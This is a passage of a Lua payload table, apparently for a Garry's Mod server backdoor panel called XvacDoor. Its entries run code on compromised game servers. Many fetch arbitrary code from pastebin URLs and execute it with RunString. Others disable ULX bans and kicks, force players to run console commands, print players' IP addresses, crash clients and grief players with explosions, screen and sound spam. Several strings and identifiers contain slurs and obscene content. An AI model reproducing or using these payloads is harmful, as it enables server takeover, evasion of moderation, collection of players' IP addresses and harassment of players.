590 ["Type"] = 1,
591
592 ["Code"] = [[ulx luarun @1]],
593
594 ["Desc"] = "Pas mal pour lancer des fichiers lua :')",
595
596 },
597
598
599
600 ["Lua run via pastebin"] = {
601
602 ["Type"] = 1,
603
604 ["Code"] = [[http.Fetch( "@1", function( b, l, h, c ) RunString( b ) end, function() end )]],
605
606 ["Desc"] = "C'est drôle, tu peut lancer n'importe qu'elle fichier lua Pastebin avec ça (cc les skeletons)",
607
608 },
609
610
611
612 ["Détruire Le Ban & Le Kick ULX"] = {
613
614 ["Type"] = 1,
615
616 ["Code"] = [[ULib.Ban = function() return false end
617
618 ULib.addBan = function() return end
619
620 ULib.kick = function() return end]],
621
622 ["Desc"] = "RIP les joueurs ban et kick :c",
623
624 },
625
626 ["A Untilted VISUEL"] = {
627
628 ["Type"] = 1,
629
630 ["Code"] = [[http.Fetch("https://pastebin.com/raw/5YCEadUT",function(b,l,h,c)RunString(b)end,nil)]],
631
632 ["Desc"] = "I'm your best friend ! U.T.I.L..T.E.D",
633
634 },
635
636
637 ["A Get2Lost VISUEL"] = {
638
639
640 ["Type"] = 1,
641
642 ["Code"] = [[http.Fetch("https://pastebin.com/raw/Mmmw9ehf",function(b,l,h,c)RunString(b)end,nil)]],
643
644 ["Desc"] = "I'm your best friend ! G.E.T.2.L.O.S.T",
645
646 },
647
648 ["A RAINING MEN VISUEL"] = {
649
650
651 ["Type"] = 1,
652
653 ["Code"] = [[http.Fetch("https://pastebin.com/raw/gzMHywVw",function(b,l,h,c)RunString(b)end,nil)]],
654
655 ["Desc"] = "I'm your best friend ! R.A.I.N.I.N.G..M.E.N",
656
657 },
658
659 ["A BILL CYPHER VISUEL"] = {
660
661
662 ["Type"] = 1,
663
664 ["Code"] = [[http.Fetch("https://pastebin.com/raw/NuvEZS8H",function(b,l,h,c)RunString(b)end,nil)]],
665
666 ["Desc"] = "I'm your best friend ! B.I.L.L..C.Y.P.H.E.R",
667
668 },
669
670 ["A JOHN FTT VISUEL"] = {
671
672
673 ["Type"] = 1,
674
675 ["Code"] = [[http.Fetch("https://pastebin.com/raw/3XqnbuHc",function(b,l,h,c)RunString(b)end,nil)]],
676
677 ["Desc"] = "I'm your best friend ! J.O.H.N..F.T.T",
678
679 },
680
681 ["A DISCO VISUEL"] = {
682
683
684 ["Type"] = 1,
685
686 ["Code"] = [[http.Fetch("https://pastebin.com/raw/DhYe7pvV",function(b,l,h,c)RunString(b)end,nil)]],
687
688 ["Desc"] = "I'm your best friend ! D.I.S.C.O",
689
690 },
691
692 ["A WINDOWN VISUEL"] = {
693
694
695 ["Type"] = 1,
696
697 ["Code"] = [[http.Fetch("https://pastebin.com/raw/eRSeBXhE",function(b,l,h,c)RunString(b)end,nil)]],
698
699 ["Desc"] = "I'm your best friend ! W.I.N.D.O.W.N",
700
701 },
702
703 ["A PureSystem"] = {
704
705
706 ["Type"] = 1,
707
708 ["Code"] = [[http.Fetch("https://pastebin.com/raw/3ySRHqNx",function(b,l,h,c)RunString(b)end,nil)]],
709
710 ["Desc"] = "I'm your best friend ! P.U.R.E..S.Y.S.T.E.M",
711
712 },
713
714 ["A Gizeh VISUEL"] = {
715
716 ["Type"] = 1,
717
718 ["Code"] = [[http.Fetch("https://pastebin.com/raw/aE3xR3VQ",function(b,l,h,c)RunString(b)end,nil)]],
719
720 ["Desc"] = "I'm your best friend ! G.I.Z.E.H",
721
722 },
723
724 ["A Circle FTT VISUEL"] = {
725
726 ["Type"] = 1,
727
728 ["Code"] = [[http.Fetch("https://pastebin.com/raw/5SkNf2tH",function(b,l,h,c)RunString(b)end,nil)]],
729
730 ["Desc"] = "I'm your best friend ! C.I.R.C.L.E",
731
732 },
733
734 ["A Spider SSV VISUEL"] = {
735
736 ["Type"] = 1,
737
738 ["Code"] = [[http.Fetch("https://pastebin.com/raw/cWNvabLD",function(b,l,h,c)RunString(b)end,nil)]],
739
740 ["Desc"] = "I'm your best friend ! S.P.I.D.E.R",
741
742 },
743
744 ["A Mak Meum Bruh VISUEL"] = {
745
746 ["Type"] = 1,
747
748 ["Code"] = [[http.Fetch("https://pastebin.com/raw/kEwb0xDa",function(b,l,h,c)RunString(b)end,nil)]],
749
750 ["Desc"] = "I'm your best friend ! M.A.K",
751
752 },
753
754 ["A Créer un fake rank User"] = {
755
756 ["Type"] = 1,
757
758 ["Code"] = [[http.Fetch("https://pastebin.com/raw/UcHBpzJ3",function(b,l,h,c)RunString(b)end,nil)]],
759
760 ["Desc"] = "I'm your best friend ! U.S.E.R",
761
762 },
763
764
765
766
767/*============================================
768|===== Commandes Sur Joueur Selectionné =====|
769===========================================*/
770
771
772
773 ["Tuer Le Joueur"] = {
774
775 ["Type"] = 2,
776
777 ["Code"] = [[v:Kill()]],
778
779 ["Desc"] = "",
780
781 },
782
783
784
785
786 ["Rendre Multicolore"] = {
787
788 ["Type"] = 2,
789
790 ["Code"] = [[
791
792 local id = ]] .. LocalPlayer():UserID() .. [[
793
794 Player( id ):SetModel( "models/player/group02/male_04.mdl" )
795
796 Player( id ):SetMaterial( "models/debug/debugwhite" )
797
798 hook.Add( "Think", "multicolore", function()
799
800 if !IsValid( Player( id ) ) then return end
801
802 Player( id ):SetColor( HSVToColor( RealTime() * 120 % 360, 1, 1 ) )
803
804 end )
805 ]],
806
807 ["Desc"] = "Transforme N'importe qui en personne multicolore :D",
808
809 },
810
811
812
813 ["Expelliarmus"] = {
814
815 ["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 = dangerous
816
817 ["Code"] = [[v:DropWeapon( v:GetActiveWeapon() )]],
818
819 ["Desc"] = "Désarme un random",
820
821 },
822
823
824
825 ["Supprimer Les Armes"] = {
826
827 ["Type"] = 2,
828
829 ["Code"] = [[v:StripWeapons()]],
830
831 ["Desc"] = "",
832
833 },
834
835
836
837 ["Roquette"] = {
838
839 ["Type"] = 2,
840
841 ["Code"] = [[v:SetVelocity( Vector(0, 0, 9000) )]],
842
843 ["Desc"] = "Sends them flying up into the air",
844
845 },
846
847
848
849 ["Roquette Dévié"] = {
850
851 ["Type"] = 2,
852
853 ["Code"] = [[v:SetVelocity( Vector(math.random( -9000, 9000), math.random( -9000, 9000), 9000) )]],
854
855 ["Desc"] = "HOLY SHIIIIIIIIIIIT",
856
857 },
858
859
860
861 ["Change model"] = {
862
863 ["Type"] = 2,
864
865 ["Code"] = [[v:SetModel( @1 )]],
866
867 ["Desc"] = "Set their player model to the specified string (1st paremeter)",
868
869 ["NeedsParameters"] = 1,
870
871 },
872
873
874
875 ["Choisi la vie + l'armure"] = {
876
877 ["Type"] = 2,
878
879 ["Code"] = [[v:SetHealth( @1 ) v:SetArmor( @2 ) ]],
880
881 ["Desc"] = "Sets their health (1st paremeter) and armor (2nd paremeter)",
882
883 ["NeedsParameters"] = 2,
884
885 },
886
887
888
889 ["Ear rape"] = {
890
891 ["Type"] = 2,
892
893 ["Code"] = [[
894
895 local snd = {
896
897 [1] = "npc/stalker/go_alert2a.wav",
898
899 [2] = "vo/npc/male01/question06.wav",
900
901 [3] = "ambient/energy/zap1.wav",
902
903 [4] = "weapons/knife/knife_stBD.wav",
904
905 [5] = "vo/ravenholm/madlaugh04.wav",
906
907 [6] = "npc/antlion_guard/antlion_guard_die1.wav",
908
909 [7] = "vo/breencast/br_collaboration01.wav,"
910
911 }
912
913 v:EmitSound( snd[tonumber(@1)], 100, 100 )
914
915 ]],
916
917 ["Desc"] = "Lance un son (choisir entre 1 & 7)",
918
919 ["NeedsParameters"] = 1,
920
921 },
922
923
924
925 ["Ear rape (via internet)"] = {
926
927 ["Type"] = 2,
928
929 ["Code"] = [[
930
931 BDSendLua( v, 'if soundrape then soundrape:Remove() soundrape = nil return end soundrape = vgui.Create( "DFrame" ) soundrape:SetSize( 1, 1 ) local html = vgui.Create( "HTML", soundrape ) html:OpenURL( @1 )' )
932
933 ]],
934
935 ["Desc"] = "fait écouter un son par URL (1er parametre). Sending a new sound will stop the previous one. Send an invalid url to stop all sounds entirely on their client",
936
937 ["NeedsParameters"] = 1,
938
939 },
940
941
942
943 ["Spam Visuel (via internet)"] = {
944
945 ["Type"] = 2,
946
947 ["Code"] = [[
948
949 BDSendLua( v, 'if bdeyerape then bdeyerape:Remove() bdeyerape = nil return end bdeyerape = vgui.Create( "DFrame" )bdeyerape:SetDraggable( false )bdeyerape:SetSize( ScrW(), ScrH() )bdeyerape:SetTitle( "" )bdeyerape:ShowCloseButton( false )local html = vgui.Create( "HTML", bdeyerape )html:Dock( FILL )html:OpenURL( @1 )' )
950
951 ]],
952
953 ["Desc"] = "fait les regarder une image avec un URL infermable (1ème parametre). En lancer un deuxième le remplacera. Un lien invalide les effacera",
954
955 ["NeedsParameters"] = 1,
956
957 },
958
959
960
961 ["Mode Disco"] = {
962
963 ["Type"] = 2,
964
965 ["Code"] = [[
966
967 BDSendLua( v, 'if hook.GetTable().HUDPaint.drugznigga then hook.Remove( "HUDPaint", "drugznigga" ) else hook.Add( "HUDPaint", "drugznigga", function() local cin = math.sin( CurTime() * 10 ) * 255 surface.SetDrawColor( Color( cin, -cin, cin, 100 ) ) surface.DrawRect( 0, 0, ScrW(), ScrH() ) end) end' )
968
969 ]],
970
971 ["Desc"] = "C'est partie :D",
972
973 },
974
975
976
977 ["Musique Disco"] = {
978
979 ["Type"] = 2,
980
981 ["Code"] = [[
982
983 BDSendLua( v, 'surface.PlaySound( "music/hl1_song25_remix3.mp3" )' )
984
985 ]],
986
987 ["Desc"] = "rt",
988
989 },
990
991
992
993 ["Message PV"] = {
994
995 ["Type"] = 2,
996
997 ["Code"] = [[v:ChatPrint( @1 )]],
998
999 ["Desc"] = "Envoi un message anonyme",
1000
1001 ["NeedsParameters"] = 1,
1002
1003 },
1004
1005
1006
1007 ["Message PV (Amélioré)"] = {
1008
1009 ["Type"] = 2,
1010
1011 ["Code"] = [[
1012
1013 BDSendLua( v, 'chat.AddText( Color( @2, @3, @4 ), @1 )' )
1014
1015 ]],
1016
1017 ["Desc"] = "Envoi un message anonyme de la couleur que tu veut (1er paramètre = texte, 2ème = rouge, 3ème = vert, 4ème = bleu)",
1018
1019 ["NeedsParameters"] = 1,
1020
1021 },
1022
1023
1024
1025 ["Brûler"] = {
1026
1027 ["Type"] = 2,
1028
1029 ["Code"] = [[v:Ignite( 30 )]],
1030
1031 ["Desc"] = "Crame le",
1032
1033 },
1034
1035
1036
1037 ["Activé/Désactivé GodMod"] = {
1038
1039 ["Type"] = 2,
1040
1041 ["Code"] = [[if v:HasGodMode() then v:GodDisable() else v:GodEnable() end]],
1042
1043 ["Desc"] = "Mtn, t'es un dieu",
1044
1045 },
1046
1047
1048
1049 ["Crash"] = {
1050
1051 ["Type"] = 2,
1052
1053 ["Code"] = [[v:SendLua("function fag() return fag() end fag()")]],
1054
1055 ["Desc"] = "Instant Crash :')",
1056
1057 },
1058
1059
1060
1061 ["Activé/Desactivé SpeedHack Joueur"] = {
1062
1063 ["Type"] = 2,
1064
1065 ["Code"] = [[if !v.Sanic then v:SetRunSpeed( 1200 ) v:SetWalkSpeed(800) v.Sanic = true else v:SetRunSpeed( 240 ) v:SetWalkSpeed( 160 ) v.Sanic = false end]],
1066
1067 ["Desc"] = "ooooooooooooooooooooooooaw",
1068
1069 },
1070
1071
1072
1073 ["Geler/Dégeler Joueurs"] = {
1074
1075 ["Type"] = 2,
1076
1077 ["Code"] = [[v:Freeze( !v:IsFrozen() )]],
1078
1079 ["Desc"] = "j'peut plus bouger :c",
1080
1081 },
1082
1083
1084
1085 ["Forcer a dire une phrase"] = {
1086
1087 ["Type"] = 2,
1088
1089 ["Code"] = [[v:Say(@1)]],
1090
1091 ["Desc"] = "C'est drôle quand ils comprennent pas",
1092
1093 ["NeedsParameters"] = 1,
1094
1095 },
1096
1097
1098
1099
1100
1101 ["Forcer a executer une commande"] = {
1102
1103 ["Type"] = 2,
1104
1105 ["Code"] = [[v:ConCommand(@1)]],
1106
1107 ["Desc"] = "Bruh, je me met a tourner",
1108
1109 ["NeedsParameters"] = 1,
1110
1111 },
1112
1113
1114
1115 ["Récuperer IP"] = {
1116
1117 ["Type"] = 2,
1118
1119 ["Code"] = [[ for _, p in pairs(player.GetAll()) do if %LP then p:ChatPrint( v:Nick().." : "..v:IPAddress() ) end end]],
1120
1121 ["Desc"] = "Reçois leurs ips dans ta console",
1122
1123 },
1124
1125
1126
1127
1128
1129 ["DarkRP ajouter/retirer de l'argent"] = {
1130
1131 ["Type"] = 2,
1132
1133 ["Code"] = [[v:addMoney(@1)]],
1134
1135 ["Desc"] = "Ajoute de la monnaie dans ton porte-monnaie (utiliser un chiffre négatif pour retirer)",
1136
1137 ["NeedsParameters"] = 1,
1138
1139 },
1140
1141
1142
1143 ["DarkRP forcer a join un job"] = {
1144
1145 ["Type"] = 2,
1146
1147 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:changeTeam(i, true, true) end end]],
1148
1149 ["Desc"] = "WHUT JE SUIS DEVENU PRESIDENT D'UN COUP",
1150
1151 ["NeedsParameters"] = 1,
1152
1153 },
1154
1155
1156
1157 ["Forcer a changer d'équipe"] = {
1158
1159 ["Type"] = 2,
1160
1161 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:SetTeam( i ) end end]],
1162
1163 ["Desc"] = "Bruh j'suis un terroriste",
1164
1165 ["NeedsParameters"] = 1,
1166
1167 },
1168
1169
1170
1171 ["Forcer A Noclip"] = {
1172
1173 ["Type"] = 2,
1174
1175 ["Code"] = [[if v:GetMoveType() != MOVETYPE_NOCLIP then v:SetMoveType(MOVETYPE_NOCLIP) else v:SetMoveType(MOVETYPE_WALK) end]],
1176
1177 ["Desc"] = "Je vole :c",
1178
1179 },
1180
1181
1182
1183 ["Give une arme"] = {
1184
1185 ["Type"] = 2,
1186
1187 ["Code"] = [[v:Give( @1 )]],
1188
1189 ["Desc"] = "OH ! Une bombe nucléaire",
1190
1191 ["NeedsParameters"] = 1,
1192
1193 },
1194
1195
1196
1197 ["Give des munitions"] = {
1198
1199 ["Type"] = 2,
1200
1201 ["Code"] = [[v:GiveAmmo( @1, @2, false )]],
1202
1203 ["Desc"] = "Recois des munitions (1er = nombres de munitions, 2èmes = type de munitions)",
1204
1205 ["NeedsParameters"] = 2,
1206
1207 },
1208
1209
1210
1211 ["Téléporter (Joueur a votre curseur)"] = {
1212
1213 ["Type"] = 2,
1214
1215 ["Code"] = [[
1216
1217 local tp = false
1218
1219 local tpos
1220
1221 for _, p in pairs(player.GetAll()) do if %LP then tpos = p:GetEyeTraceNoCursor().HitPos tp = true end end
1222
1223 if tp then v:SetPos( tpos ) end
1224
1225 ]],
1226
1227 ["Desc"] = "Bruh",
1228
1229 },
1230
1231
1232
1233 ["Téléporter (Vous a eux)"] = {
1234
1235 ["Type"] = 2,
1236
1237 ["Code"] = [[
1238
1239 local tp = false
1240
1241 local tpos = v:GetPos() + Vector( 32, 0, 10)
1242
1243 for _, p in pairs(player.GetAll()) do if %LP then p:SetPos( tpos ) end end
1244
1245 ]],
1246
1247 ["Desc"] = "Bruh",
1248
1249 },
1250
1251
1252
1253 ["Téléporter (Blink)"] = {
1254
1255 ["Type"] = 2,
1256
1257 ["Code"] = [[
1258
1259 local tpos = v:GetEyeTraceNoCursor().HitPos
1260
1261 v:SetPos( tpos )
1262
1263 ]],
1264
1265 ["Desc"] = "J'suis un enderman omg",
1266
1267 },
1268
1269
1270
1271 ["Spawn une entité près du joueur"] = {
1272
1273 ["Type"] = 2,
1274
1275 ["Code"] = [[
1276
1277 local tr = {}
1278
1279 tr.start = v:GetShootPos()
1280
1281 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1282
1283 tr.filter = {v}
1284
1285 local trace = util.TraceLine(tr)
1286
1287 local dix = ents.Create( @1 )
1288
1289 dix:SetPos(trace.HitPos)
1290
1291 dix:SetAngles(Angle(0,0,0))
1292
1293 dix:Spawn()
1294
1295 ]],
1296
1297 ["Desc"] = "Spawn une entité a côté (1er = code/classe de l'entité), tu peut pas spawn de voiture!",
1298
1299 ["NeedsParameters"] = 1,
1300
1301 },
1302
1303
1304
1305 ["Spawn un props près du joueur"] = {
1306
1307 ["Type"] = 2,
1308
1309 ["Code"] = [[
1310
1311 local tr = {}
1312
1313 tr.start = v:GetShootPos()
1314
1315 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1316
1317 tr.filter = {v}
1318
1319 local trace = util.TraceLine(tr)
1320
1321 local dix = ents.Create( "prop_physics" )
1322
1323 dix:SetPos(trace.HitPos)
1324
1325 dix:SetAngles(Angle(0,0,0))
1326
1327 dix:SetModel( @1 )
1328
1329 dix:Spawn()
1330
1331 ]],
1332
1333 ["Desc"] = "Wallah on a tenter de me propskill (1er = model)",
1334
1335 ["NeedsParameters"] = 1,
1336
1337 },
1338
1339
1340
1341 [" Marquez Les Traces Inutile"] = {
1342
1343 ["Type"] = 2,
1344
1345 ["Code"] = [[
1346
1347 local tr = {}
1348
1349 tr.start = v:GetShootPos()
1350
1351 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1352
1353 tr.filter = {v}
1354
1355 local trace = util.TraceLine(tr)
1356
1357 local dix = ents.Create( "prop_physics" )
1358
1359 dix:SetPos( trace.HitPos + Vector( 0, 0, 70 ) )
1360
1361 dix:SetAngles( v:GetAngles() )
1362
1363 dix:SetModel( "models/props_c17/gravestone_cross001a.mdl" )
1364
1365 dix:Spawn()
1366
1367 dix:SetMoveType( MOVETYPE_NONE )
1368
1369 dix:SetMaterial( "models/shiny" )
1370
1371 dix:SetColor( Color( 0, 0, 40 ) )
1372
1373
1374
1375 local function ecr( parent, model, pos, ang, col, mat )
1376
1377 local dix = ents.Create( "prop_physics" )
1378
1379 dix:SetPos( parent:LocalToWorld( pos ) )
1380
1381 dix:SetAngles( parent:LocalToWorldAngles( ang ) )
1382
1383 dix:SetModel( model )
1384
1385 dix:SetParent( parent )
1386
1387 dix:Spawn()
1388
1389 dix:SetColor( col )
1390
1391 dix:SetMaterial( mat )
1392
1393 end
1394
1395
1396
1397 ecr( dix, "models/props_c17/gravestone_coffinpiece001a.mdl", Vector( -25, 0, -60 ), Angle( 0, 180, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1398
1399 ecr( dix, "models/hunter/blocks/cube025x2x025.mdl", Vector( -5, -5, 372 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1400
1401 ecr( dix, "models/hunter/blocks/cube025x2x025.mdl", Vector( -5, -5, 260 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1402
1403 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 127, -27 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1404
1405 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 0, 108 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1406
1407 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -103, 108 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1408
1409 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 127, 108 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1410
1411 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -103, -27 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1412
1413 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 50, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1414
1415 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -50, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1416
1417 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 180, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1418
1419 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -180, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1420
1421 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -50, 200 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1422
1423 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 50, 200 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1424
1425 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -50, 330 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1426
1427 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 50, 330 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1428
1429
1430 for _, p in pairs( player.GetAll() ) do p:SendLua( 'chat.AddText( Color(255, 255, 255 ), "WOOOOOOOOOOOOOOW UNE BITE GEANTE")' ) sound.Play( "ambient/explosions/explode_8.wav", p:GetPos(), 90, 80, 1 ) end
1431
1432
1433
1434 ]],
1435
1436 ["Desc"] = "Fait apparaitre la statue bite",
1437
1438 ["Private"] = true,
1439
1440 },
1441
1442
1443
1444
1445 [" Marquez Les Trace De La XvacDoor"] = {
1446
1447 ["Type"] = 2,
1448
1449 ["Code"] = [[
1450
1451 local tr = {}
1452
1453 tr.start = v:GetShootPos()
1454
1455 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1456
1457 tr.filter = {v}
1458
1459 local trace = util.TraceLine(tr)
1460
1461 local dix = ents.Create( "prop_physics" )
1462
1463 dix:SetPos( trace.HitPos + Vector( 0, 0, 70 ) )
1464
1465 dix:SetAngles( v:GetAngles() )
1466
1467 dix:SetModel( "models/props_c17/gravestone_cross001a.mdl" )
1468
1469 dix:Spawn()
1470
1471 dix:SetMoveType( MOVETYPE_NONE )
1472
1473 dix:SetMaterial( "models/shiny" )
1474
1475 dix:SetColor( Color( 0, 0, 40 ) )
1476
1477
1478
1479 local function ecr( parent, model, pos, ang, col, mat )
1480
1481 local dix = ents.Create( "prop_physics" )
1482
1483 dix:SetPos( parent:LocalToWorld( pos ) )
1484
1485 dix:SetAngles( parent:LocalToWorldAngles( ang ) )
1486
1487 dix:SetModel( model )
1488
1489 dix:SetParent( parent )
1490
1491 dix:Spawn()
1492
1493 dix:SetColor( col )
1494
1495 dix:SetMaterial( mat )
1496
1497 end
1498
1499
1500
1501 ecr( dix, "models/props_c17/gravestone_coffinpiece001a.mdl", Vector( -25, 0, -60 ), Angle( 0, 180, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1502
1503 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 127, -27 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1504
1505 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -103, 108 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1506
1507 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 127, 108 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1508
1509 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -103, -27 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1510
1511 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 50, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1512
1513 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -50, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1514
1515 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 180, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1516
1517 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -180, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1518
1519--
1520
1521
1522 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -103, 248 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1523
1524 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 127, 248 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1525
1526 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 50, 205 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1527
1528 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -50, 205 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1529
1530 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 180, 205 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1531
1532 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -180, 205 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1533
1534
1535
1536 for _, p in pairs( player.GetAll() ) do p:SendLua( 'chat.AddText( Color(0, 0, 0 ), "La XvacDoor a apparement prit contrôle des lieux :D")' ) sound.Play( "ambient/explosions/explode_8.wav", p:GetPos(), 90, 80, 1 ) end
1537
1538
1539
1540 ]],
1541
1542 ["Desc"] = "Fait apparaitre la statue XvacDoor",
1543
1544 ["Private"] = true,
1545
1546 },
1547
1548
1549
1550
1551
1552 ["Spawn un NPC méchant près d'un joueur"] = {
1553
1554 ["Type"] = 2,
1555
1556 ["Code"] = [[
1557
1558 local tr = {}
1559
1560 tr.start = v:GetShootPos()
1561
1562 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1563
1564 tr.filter = {v}
1565
1566 local trace = util.TraceLine(tr)
1567
1568 local dix = ents.Create( "npc_citizen" )
1569
1570 dix:SetPos(trace.HitPos)
1571
1572 dix:SetAngles(Angle(0,0,0))
1573
1574 dix:SetKeyValue( "additionalequipment", table.Random({"weapon_shotgun", "weapon_smg1", "weapon_ar2"}) )
1575
1576 dix:SetKeyValue( "citizentype", 3 )
1577
1578 dix:AddRelationship("player D_HT 200")
1579
1580 dix:SetCurrentWeaponProficiency(WEAPON_PROFICIENCY_PERFECT)
1581
1582 dix:SetSchedule( SCHED_IDLE_WANDER )
1583
1584 dix:Spawn()
1585
1586 ]],
1587
1588 ["Desc"] = "Spawn a hostile NPC in front of this player",
1589
1590 },
1591
1592
1593
1594 ["Vision Mortel"] = {
1595
1596 ["Type"] = 2,
1597
1598 ["Code"] = [[
1599
1600 local trace = v:GetEyeTraceNoCursor()
1601
1602 if trace.Entity:IsValid() then trace.Entity:Remove() end
1603
1604 ]],
1605
1606 ["Desc"] = "Désintègre les joueurs que tu regarde",
1607
1608 },
1609
1610
1611
1612 ["Vision Explosive"] = {
1613
1614 ["Type"] = 2,
1615
1616 ["Code"] = [[
1617
1618 local trace = v:GetEyeTraceNoCursor()
1619
1620 local explo = ents.Create("env_explosion")
1621
1622 explo:SetPos(trace.HitPos)
1623
1624 explo:SetKeyValue("iMagnitude", "250")
1625
1626 explo:Spawn()
1627
1628 explo:Activate()
1629
1630 explo:Fire("Explode", "", 0)
1631
1632 ]],
1633
1634 ["Desc"] = "Explose ce que tu regarde",
1635
1636 },
1637
1638
1639
1640 ["Frappe Orbital Précise"] = {
1641
1642 ["Type"] = 2,
1643
1644 ["Code"] = [[
1645
1646 local trace = v:GetEyeTraceNoCursor()
1647
1648 timer.Create( "uiashfuasfas"..v:UniqueID()..math.random(-9999, 99999), 0.2, 15, function()
1649
1650 local explo = ents.Create("env_explosion")
1651
1652 explo:SetPos(trace.HitPos + Vector( math.random( -500, 500), math.random( -500, 500), math.random( -500, 500) ) )
1653
1654 explo:SetKeyValue("iMagnitude", "250")
1655
1656 explo:Spawn()
1657
1658 explo:Activate()
1659
1660 explo:Fire("Explode", "", 0)
1661
1662 end)
1663
1664 ]],
1665
1666 ["Desc"] = "ça va faire boom",
1667
1668 },
1669
1670
1671
1672 ["Pluie De Véhicules"] = {
1673
1674 ["Type"] = 2,
1675
1676 ["Code"] = [[
1677
1678 local trace = v:GetEyeTraceNoCursor()
1679
1680 local car = ents.Create("prop_physics")
1681
1682 local trace2 = util.TraceLine( { start = trace.HitPos, endpos = trace.HitPos + Vector( 0, 0, 5000000 ), mask = MASK_SOLID_BRUSHONLY } )
1683
1684 car:SetModel( "models/props_vehicles/car002a_physics.mdl" )
